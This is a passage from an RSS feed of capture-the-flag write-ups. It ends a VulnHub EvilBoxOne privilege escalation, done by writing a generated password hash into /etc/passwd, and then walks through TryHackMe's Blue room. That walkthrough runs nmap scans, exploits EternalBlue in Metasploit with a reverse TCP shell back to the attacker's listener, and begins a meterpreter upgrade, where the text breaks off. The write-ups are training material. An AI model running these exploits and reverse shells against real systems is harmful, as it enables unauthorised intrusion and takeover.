Resolver,,,:/run/systemd:/usr/sbin/nologin<br>messagebus:x:104:110::/nonexistent:/usr/sbin/nologin<br>sshd:x:105:65534::/run/sshd:/usr/sbin/nologin<br>mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash<br>systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin<br>attacker:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme/<br>attacker2:$1$mDHMu235$dP3Xu6DnA067MXmUdbsme<br>mowree@EvilBoxOne:~$ su root<br>Contraseña: <br>su: Fallo de autenticación<br>mowree@EvilBoxOne:~$ echo &#39;wasn&#39;t the password passwd&#39;<br>&gt; <br>&gt; &quot;<br>&gt; ^C<br>mowree@EvilBoxOne:~$ su root<br>Contraseña: <br>su: Fallo de autenticación<br>mowree@EvilBoxOne:~$ openssl passwd -1 root<br>$1$AI/NUW0r$4p4AeMceoB9TJDnKGnqxg1<br>mowree@EvilBoxOne:~$ nano /etc/passwd<br>mowree@EvilBoxOne:~$ su root<br>Contraseña: <br>root@EvilBoxOne:/home/mowree# id<br>uid=0(root) gid=0(root) grupos=0(root)<br>root@EvilBoxOne:/home/mowree# whoami<br>root<br>root@EvilBoxOne:/home/mowree# ls<br>attack  user.txt<br>root@EvilBoxOne:/home/mowree# cd /root<br>root@EvilBoxOne:~# ls<br>root.txt<br>root@EvilBoxOne:~# cat root.txt<br>36QtXfdJWvdC0VavlPIApUbDlqTsBM<br>root@EvilBoxOne:~#</pre><p>since I love hitman game &amp;&amp; current machine title is evilbox, here is the cover photo for this article</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*BUwCxeI-FatpYnHXOcQHSg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19095c23005b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[tryhackme — blue]]></title>
            <link>https://hassanbedair.medium.com/tryhackme-blue-3ae6619fc48a?source=rss-4e0e2db56131------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ae6619fc48a</guid>
            <category><![CDATA[eternalblue]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[blues]]></category>
            <dc:creator><![CDATA[Hassan Bedair]]></dc:creator>
            <pubDate>Sat, 28 Dec 2024 18:40:48 GMT</pubDate>
            <atom:updated>2024-12-28T18:40:48.327Z</atom:updated>
            <content:encoded><![CDATA[<h3>tryhackme — blue</h3><ul><li>room ; <a href="https://tryhackme.com/r/room/blue">https://tryhackme.com/r/room/blue</a></li><li>linkedin.com/in/hassan-hossam-bedair-/</li></ul><h3>How to save ip address in terminal?!</h3><pre>export ip=10.10.103.76</pre><h3>How many ports are open with a port number under 1000?</h3><ul><li>3 ports</li></ul><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# nmap $ip<br><br>PORT      STATE SERVICE<br>135/tcp   open  msrpc<br>139/tcp   open  netbios-ssn<br>445/tcp   open  microsoft-ds</pre><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# nmap $ip<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 12:21 EST<br>Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>SYN Stealth Scan Timing: About 5.20% done; ETC: 12:21 (0:00:00 remaining)<br>Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>SYN Stealth Scan Timing: About 20.10% done; ETC: 12:21 (0:00:08 remaining)<br>Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>SYN Stealth Scan Timing: About 24.93% done; ETC: 12:21 (0:00:06 remaining)<br>Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan<br>SYN Stealth Scan Timing: About 35.87% done; ETC: 12:21 (0:00:04 remaining)<br>Nmap scan report for 10.10.103.76<br>Host is up (0.11s latency).<br>Not shown: 991 closed tcp ports (reset)<br>PORT      STATE SERVICE<br>135/tcp   open  msrpc<br>139/tcp   open  netbios-ssn<br>445/tcp   open  microsoft-ds<br>3389/tcp  open  ms-wbt-server<br>49152/tcp open  unknown<br>49153/tcp open  unknown<br>49154/tcp open  unknown<br>49158/tcp open  unknown<br>49160/tcp open  unknown<br><br>Nmap done: 1 IP address (1 host up) scanned in 10.77 seconds</pre><h3>What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08–067)</h3><ul><li>Answer is ms17–010</li></ul><pre>                                                                                                                                                                                                                                            <br>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# nmap -sC -sV -p135,139,445,3389 -T4 $ip<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 12:24 EST<br>Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan<br>Service scan Timing: About 75.00% done; ETC: 12:24 (0:00:02 remaining)<br>Nmap scan report for 10.10.103.76<br>Host is up (0.10s latency).<br><br>PORT     STATE SERVICE      VERSION<br>135/tcp  open  msrpc        Microsoft Windows RPC<br>139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn<br>445/tcp  open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)<br>3389/tcp open  tcpwrapped<br>Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>|_clock-skew: mean: 1h55m29s, deviation: 3h27m51s, median: -4m31s<br>| smb2-security-mode: <br>|   2:1:0: <br>|_    Message signing enabled but not required<br>|_nbstat: NetBIOS name: JON-PC, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 02:0c:1e:8c:5f:d3 (unknown)<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>| smb-os-discovery: <br>|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)<br>|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional<br>|   Computer name: Jon-PC<br>|   NetBIOS computer name: JON-PC\x00<br>|   Workgroup: WORKGROUP\x00<br>|_  System time: 2024-12-28T11:20:11-06:00<br>| smb2-time: <br>|   date: 2024-12-28T17:20:11<br>|_  start_date: 2024-12-28T17:07:35<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 13.78 seconds</pre><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# nmap --script smb-enum-shares.nse -p445 $ip   <br><br>PORT    STATE SERVICE<br>445/tcp open  microsoft-ds<br><br>Host script results:<br>| smb-enum-shares: <br>|   note: ERROR: Enumerating shares failed, guessing at common ones (NT_STATUS_ACCESS_DENIED)<br>|   account_used: &lt;blank&gt;<br>|   \\10.10.103.76\ADMIN$: <br>|     warning: Couldn&#39;t get details for share: NT_STATUS_ACCESS_DENIED<br>|     Anonymous access: &lt;none&gt;<br>|   \\10.10.103.76\C$: <br>|     warning: Couldn&#39;t get details for share: NT_STATUS_ACCESS_DENIED<br>|     Anonymous access: &lt;none&gt;<br>|   \\10.10.103.76\IPC$: <br>|     warning: Couldn&#39;t get details for share: NT_STATUS_ACCESS_DENIED<br>|_    Anonymous access: READ<br><br>Nmap done: 1 IP address (1 host up) scanned in 98.65 seconds</pre><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# nmap -p 445 --script smb-vuln-ms17-010 $ip -Pn<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 12:30 EST<br>Nmap scan report for 10.10.103.76<br>Host is up (0.082s latency).<br><br>PORT    STATE SERVICE<br>445/tcp open  microsoft-ds<br><br>Host script results:<br>| smb-vuln-ms17-010: <br>|   VULNERABLE:<br>|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)<br>|     State: VULNERABLE<br>|     IDs:  CVE:CVE-2017-0143<br>|     Risk factor: HIGH<br>|       A critical remote code execution vulnerability exists in Microsoft SMBv1<br>|        servers (ms17-010).<br>|           <br>|     Disclosure date: 2017-03-14<br>|     References:<br>|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143<br>|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx<br>|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/</pre><h4>but what if I never knew the CVE?!</h4><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# nmap --script smb-vuln* -p 445 $ip -Pn<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-28 12:33 EST<br>Nmap scan report for 10.10.103.76<br>Host is up.<br><br>PORT    STATE    SERVICE<br>445/tcp filtered microsoft-ds<br><br>Nmap done: 1 IP address (1 host up) scanned in 7.83 seconds</pre><h4>you can do this global scan</h4><pre>nmap -sS -Pn -A -p- -oN nmap.txt $ip</pre><pre>&lt;ANSWER TOO LARGE&gt;</pre><h3>Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/……..)</h3><ul><li>exploit/windows/smb/ms17_010_eternalblue</li></ul><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# msfdb init &amp;&amp; msfconsole<br>[+] Starting database<br>[+] Creating database user &#39;msf&#39;<br>[+] Creating databases &#39;msf&#39;<br>[+] Creating databases &#39;msf_test&#39;<br>[+] Creating configuration file &#39;/usr/share/metasploit-framework/config/database.yml&#39;<br>[+] Creating initial database schema<br>Metasploit tip: Enable verbose logging with set VERBOSE true<br><br>       =[ metasploit v6.4.34-dev                          ]<br>+ -- --=[ 2461 exploits - 1267 auxiliary - 431 post       ]<br>+ -- --=[ 1468 payloads - 49 encoders - 11 nops           ]<br>+ -- --=[ 9 evasion                                       ]<br><br>Metasploit Documentation: https://docs.metasploit.com/</pre><pre>msf6 &gt; search ms17-010<br><br>Matching Modules<br>================<br><br>   #   Name                                           Disclosure Date  Rank     Check  Description<br>   -   ----                                           ---------------  ----     -----  -----------<br>   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption<br>   1     \_ target: Automatic Target                  .                .        .      .<br>   2     \_ target: Windows 7                         .                .        .      .<br>   3     \_ target: Windows Embedded Standard 7       .                .        .      .<br>   4     \_ target: Windows Server 2008 R2            .                .        .      .<br>   5     \_ target: Windows 8                         .                .        .      .<br>   6     \_ target: Windows 8.1                       .                .        .      .<br>   7     \_ target: Windows Server 2012               .                .        .      .<br>   8     \_ target: Windows 10 Pro                    .                .        .      .<br>   9     \_ target: Windows 10 Enterprise Evaluation  .                .        .      .<br>   10  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution<br>   11    \_ target: Automatic                         .                .        .      .<br>   12    \_ target: PowerShell                        .                .        .      .<br>   13    \_ target: Native upload                     .                .        .      .<br>   14    \_ target: MOF upload                        .                .        .      .<br>   15    \_ AKA: ETERNALSYNERGY                       .                .        .      .<br>   16    \_ AKA: ETERNALROMANCE                       .                .        .      .<br>   17    \_ AKA: ETERNALCHAMPION                      .                .        .      .<br>   18    \_ AKA: ETERNALBLUE                          .                .        .      .<br>   19  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution<br>   20    \_ AKA: ETERNALSYNERGY                       .                .        .      .<br>   21    \_ AKA: ETERNALROMANCE                       .                .        .      .<br>   22    \_ AKA: ETERNALCHAMPION                      .                .        .      .<br>   23    \_ AKA: ETERNALBLUE                          .                .        .      .<br>   24  auxiliary/scanner/smb/smb_ms17_010             .                normal   No     MS17-010 SMB RCE Detection<br>   25    \_ AKA: DOUBLEPULSAR                         .                .        .      .<br>   26    \_ AKA: ETERNALBLUE                          .                .        .      .<br>   27  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution<br>   28    \_ target: Execute payload (x64)             .                .        .      .<br>   29    \_ target: Neutralize implant                .                .        .      .<br><br>Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce<br>After interacting with a module you can manually set a TARGET with set TARGET &#39;Neutralize implant&#39;<br><br>msf6 &gt;</pre><h3>Show options and set the one required value. What is the name of this value? (All caps for submission)</h3><ul><li>RHOSTS</li></ul><blockquote>Definitely, RHOSTS is a must! That is the target machine ip address</blockquote><pre>msf6 &gt; use exploit/windows/smb/ms17_010_eternalblue<br>[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; <br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; <br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; show options <br><br>Module options (exploit/windows/smb/ms17_010_eternalblue):<br><br>   Name           Current Setting  Required  Description<br>   ----           ---------------  --------  -----------<br>   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html<br>   RPORT          445              yes       The target port (TCP)<br>   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.<br>   SMBPass                         no        (Optional) The password for the specified username<br>   SMBUser                         no        (Optional) The username to authenticate as<br>   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.<br>   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.<br><br><br>Payload options (windows/x64/meterpreter/reverse_tcp):<br><br>   Name      Current Setting  Required  Description<br>   ----      ---------------  --------  -----------<br>   EXITFUNC  thread           yes       Exit technique (Accepted: &#39;&#39;, seh, thread, process, none)<br>   LHOST     10.0.2.4         yes       The listen address (an interface may be specified)<br>   LPORT     4444             yes       The listen port<br><br><br>Exploit target:<br><br>   Id  Name<br>   --  ----<br>   0   Automatic Target<br><br><br><br>View the full module info with the info, or info -d command.<br><br></pre><h3>Let’s run the exploit</h3><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; set lhost tun0<br>lhost =&gt; 10.21.108.168<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; options<br><br>Module options (exploit/windows/smb/ms17_010_eternalblue):<br><br>   Name           Current Setting  Required  Description<br>   ----           ---------------  --------  -----------<br>   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html<br>   RPORT          445              yes       The target port (TCP)<br>   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.<br>   SMBPass                         no        (Optional) The password for the specified username<br>   SMBUser                         no        (Optional) The username to authenticate as<br>   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.<br>   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.<br><br><br>Payload options (windows/x64/shell/reverse_tcp):<br><br>   Name      Current Setting  Required  Description<br>   ----      ---------------  --------  -----------<br>   EXITFUNC  thread           yes       Exit technique (Accepted: &#39;&#39;, seh, thread, process, none)<br>   LHOST     10.21.108.168    yes       The listen address (an interface may be specified)<br>   LPORT     4444             yes       The listen port<br><br><br>Exploit target:<br><br>   Id  Name<br>   --  ----<br>   0   Automatic Target<br><br><br><br>View the full module info with the info, or info -d command.<br><br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; export ip=10.10.103.76<br>[-] Unknown command: export. Did you mean exploit? Run the help command for more details.<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; set rhosts 10.10.103.76<br>rhosts =&gt; 10.10.103.76<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; run<br><br>[*] Started reverse TCP handler on 10.21.108.168:4444 <br>[*] 10.10.103.76:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check<br>[+] 10.10.103.76:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)<br>[*] 10.10.103.76:445      - Scanned 1 of 1 hosts (100% complete)<br>[+] 10.10.103.76:445 - The target is vulnerable.<br>[*] 10.10.103.76:445 - Connecting to target for exploitation.<br>[+] 10.10.103.76:445 - Connection established for exploitation.<br>[+] 10.10.103.76:445 - Target OS selected valid for OS indicated by SMB reply<br>[*] 10.10.103.76:445 - CORE raw buffer dump (42 bytes)<br>[*] 10.10.103.76:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes<br>[*] 10.10.103.76:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv<br>[*] 10.10.103.76:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      <br>[+] 10.10.103.76:445 - Target arch selected valid for arch indicated by DCE/RPC reply<br>[*] 10.10.103.76:445 - Trying exploit with 12 Groom Allocations.<br>[*] 10.10.103.76:445 - Sending all but last fragment of exploit packet<br>[*] 10.10.103.76:445 - Starting non-paged pool grooming<br>[+] 10.10.103.76:445 - Sending SMBv2 buffers<br>[+] 10.10.103.76:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.<br>[*] 10.10.103.76:445 - Sending final SMBv2 buffers.<br>[*] 10.10.103.76:445 - Sending last fragment of exploit packet!<br>[*] 10.10.103.76:445 - Receiving response from exploit packet<br>[+] 10.10.103.76:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!<br>[*] 10.10.103.76:445 - Sending egg to corrupted connection.<br>[*] 10.10.103.76:445 - Triggering free of corrupted buffer.<br><br></pre><p>…waiting</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; run<br><br>[*] Started reverse TCP handler on 10.21.108.168:4444 <br>[*] 10.10.103.76:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check<br>[+] 10.10.103.76:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)<br>[*] 10.10.103.76:445      - Scanned 1 of 1 hosts (100% complete)<br>[+] 10.10.103.76:445 - The target is vulnerable.<br>[*] 10.10.103.76:445 - Connecting to target for exploitation.<br>[+] 10.10.103.76:445 - Connection established for exploitation.<br>[+] 10.10.103.76:445 - Target OS selected valid for OS indicated by SMB reply<br>[*] 10.10.103.76:445 - CORE raw buffer dump (42 bytes)<br>[*] 10.10.103.76:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes<br>[*] 10.10.103.76:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv<br>[*] 10.10.103.76:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      <br>[+] 10.10.103.76:445 - Target arch selected valid for arch indicated by DCE/RPC reply<br>[*] 10.10.103.76:445 - Trying exploit with 12 Groom Allocations.<br>[*] 10.10.103.76:445 - Sending all but last fragment of exploit packet<br>[*] 10.10.103.76:445 - Starting non-paged pool grooming<br>[+] 10.10.103.76:445 - Sending SMBv2 buffers<br>[+] 10.10.103.76:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.<br>[*] 10.10.103.76:445 - Sending final SMBv2 buffers.<br>[*] 10.10.103.76:445 - Sending last fragment of exploit packet!<br>[*] 10.10.103.76:445 - Receiving response from exploit packet<br>[+] 10.10.103.76:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!<br>[*] 10.10.103.76:445 - Sending egg to corrupted connection.<br>[*] 10.10.103.76:445 - Triggering free of corrupted buffer.<br>[-] 10.10.103.76:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>[-] 10.10.103.76:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>[-] 10.10.103.76:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>[*] 10.10.103.76:445 - Connecting to target for exploitation.<br>[+] 10.10.103.76:445 - Connection established for exploitation.<br>[+] 10.10.103.76:445 - Target OS selected valid for OS indicated by SMB reply<br>[*] 10.10.103.76:445 - CORE raw buffer dump (42 bytes)<br>[*] 10.10.103.76:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes<br>[*] 10.10.103.76:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv<br>[*] 10.10.103.76:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      <br>[+] 10.10.103.76:445 - Target arch selected valid for arch indicated by DCE/RPC reply<br>[*] 10.10.103.76:445 - Trying exploit with 17 Groom Allocations.<br>[*] 10.10.103.76:445 - Sending all but last fragment of exploit packet<br>[*] 10.10.103.76:445 - Starting non-paged pool grooming<br>[+] 10.10.103.76:445 - Sending SMBv2 buffers<br>[+] 10.10.103.76:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.<br>[*] 10.10.103.76:445 - Sending final SMBv2 buffers.<br>[*] 10.10.103.76:445 - Sending last fragment of exploit packet!<br>[*] 10.10.103.76:445 - Receiving response from exploit packet<br>[+] 10.10.103.76:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!<br>[*] 10.10.103.76:445 - Sending egg to corrupted connection.<br>[*] 10.10.103.76:445 - Triggering free of corrupted buffer.<br>[*] Sending stage (336 bytes) to 10.10.103.76<br>[*] Command shell session 1 opened (10.21.108.168:4444 -&gt; 10.10.103.76:49231) at 2024-12-28 12:53:01 -0500<br>[+] 10.10.103.76:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>[+] 10.10.103.76:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>[+] 10.10.103.76:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br><br><br>Shell Banner:<br>Microsoft Windows [Version 6.1.7601]<br>-----<br><br>C:\Windows\system32&gt;</pre><p>If you haven’t already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)</p><ul><li>post/multi/manage/shell_to_meterpreter</li></ul><pre>search shell_to_meterpreter</pre><pre>C:\Windows\system32&gt;exit<br>exit<br><br><br>[*] 10.10.103.76 - Command shell session 1 closed.  Reason: User exit<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; <br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; search shell_to_meterpreter<br><br>Matching Modules<br>================<br><br>   #  Name                                    Disclosure Date  Rank    Check  Description<br>   -  ----                                    ---------------  ----    -----  -----------<br>   0  post/multi/manage/shell_to_meterpreter  .                normal  No     Shell to Meterpreter Upgrade<br><br><br>Interact with a module by name or index. For example info 0, use 0 or use post/multi/manage/shell_to_meterpreter<br><br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>Select this (use MODULE_PATH). Show options, what option are we required to change?</p><ul><li>answer is SESSION</li></ul><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; use 0<br>msf6 post(multi/manage/shell_to_meterpreter) &gt; options<br><br>Module options (post/multi/manage/shell_to_meterpreter):<br><br>   Name     Current Setting  Required  Description<br>   ----     ---------------  --------  -----------<br>   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection<br>   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).<br>   LPORT    4433             yes       Port for payload to connect to.<br>   SESSION                   yes       The session to run this module on<br><br><br>View the full module info with the info, or info -d command.</pre><h3>msfconsole) privilege escalation</h3><h4>what to keep in mind</h4><ul><li>since you already had a session, you need to store it using background command</li><li>to check available sessions, use sessions -l</li></ul><h4>console</h4><pre>msf6 post(multi/manage/shell_to_meterpreter) &gt; use windows/smb/ms17_010_eternalblue<br>[*] Using configured payload windows/x64/shell/reverse_tcp<br><br><br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; options<br><br>Module options (exploit/windows/smb/ms17_010_eternalblue):<br><br>   Name           Current Setting  Required  Description<br>   ----           ---------------  --------  -----------<br>   RHOSTS         10.10.103.76     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html<br>   RPORT          445              yes       The target port (TCP)<br>   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.<br>   SMBPass                         no        (Optional) The password for the specified username<br>   SMBUser                         no        (Optional) The username to authenticate as<br>   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.<br>   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.<br><br><br>Payload options (windows/x64/shell/reverse_tcp):<br><br>   Name      Current Setting  Required  Description<br>   ----      ---------------  --------  -----------<br>   EXITFUNC  thread           yes       Exit technique (Accepted: &#39;&#39;, seh, thread, process, none)<br>   LHOST     10.21.108.168    yes       The listen address (an interface may be specified)<br>   LPORT     4444             yes       The listen port<br><br><br>Exploit target:<br><br>   Id  Name<br>   --  ----<br>   0   Automatic Target<br><br><br><br>View the full module info with the info, or info -d command.<br><br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; run<br><br>[*] Started reverse TCP handler on 10.21.108.168:4444 <br>[*] 10.10.103.76:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check<br>[+] 10.10.103.76:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)<br>[*] 10.10.103.76:445      - Scanned 1 of 1 hosts (100% complete)<br>[+] 10.10.103.76:445 - The target is vulnerable.<br>[*] 10.10.103.76:445 - Connecting to target for exploitation.<br>[+] 10.10.103.76:445 - Connection established for exploitation.<br>[+] 10.10.103.76:445 - Target OS selected valid for OS indicated by SMB reply<br>[*] 10.10.103.76:445 - CORE raw buffer dump (42 bytes)<br>[*] 10.10.103.76:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes<br>[*] 10.10.103.76:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv<br>[*] 10.10.103.76:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      <br>[+] 10.10.103.76:445 - Target arch selected valid for arch indicated by DCE/RPC reply<br>[*] 10.10.103.76:445 - Trying exploit with 12 Groom Allocations.<br>[*] 10.10.103.76:445 - Sending all but last fragment of exploit packet<br>[*] 10.10.103.76:445 - Starting non-paged pool grooming<br>[+] 10.10.103.76:445 - Sending SMBv2 buffers<br>[+] 10.10.103.76:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.<br>[*] 10.10.103.76:445 - Sending final SMBv2 buffers.<br>[*] 10.10.103.76:445 - Sending last fragment of exploit packet!<br>[*] 10.10.103.76:445 - Receiving response from exploit packet<br>[+] 10.10.103.76:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!<br>[*] 10.10.103.76:445 - Sending egg to corrupted connection.<br>[*] 10.10.103.76:445 - Triggering free of corrupted buffer.<br>[*] Sending stage (336 bytes) to 10.10.103.76<br>[+] 10.10.103.76:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>[+] 10.10.103.76:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>[+] 10.10.103.76:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br>[*] Command shell session 2 opened (10.21.108.168:4444 -&gt; 10.10.103.76:49239) at 2024-12-28 13:00:19 -0500<br><br><br>Shell Banner:<br>Microsoft Windows [Version 6.1.7601]<br>-----<br><br>C:\Windows\system32&gt;background<br><br>Background session 2? [y/N]  y<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; sessions -l<br><br>Active sessions<br>===============<br><br>  Id  Name  Type               Information                                               Connection<br>  --  ----  ----               -----------                                               ----------<br>  2         shell x64/windows  Shell Banner: Microsoft Windows [Version 6.1.7601] -----  10.21.108.168:4444 -&gt; 10.10.103.76:49239 (10.10.103.76)<br><br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; use post/multi/manage/shell_to_meterpreter<br>msf6 post(multi/manage/shell_to_meterpreter) &gt; options<br><br>Module options (post/multi/manage/shell_to_meterpreter):<br><br>   Name     Current Setting  Required  Description<br>   ----     ---------------  --------  -----------<br>   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection<br>   LHOST    10.21.108.168    no        IP of host that will receive the connection from the payload (Will try to auto detect).<br>   LPORT    4433             yes       Port for payload to connect to.<br>   SESSION                   yes       The session to run this module on<br><br><br>View the full module info with the info, or info -d command.<br><br>msf6 post(multi/manage/shell_to_meterpreter) &gt; sessions 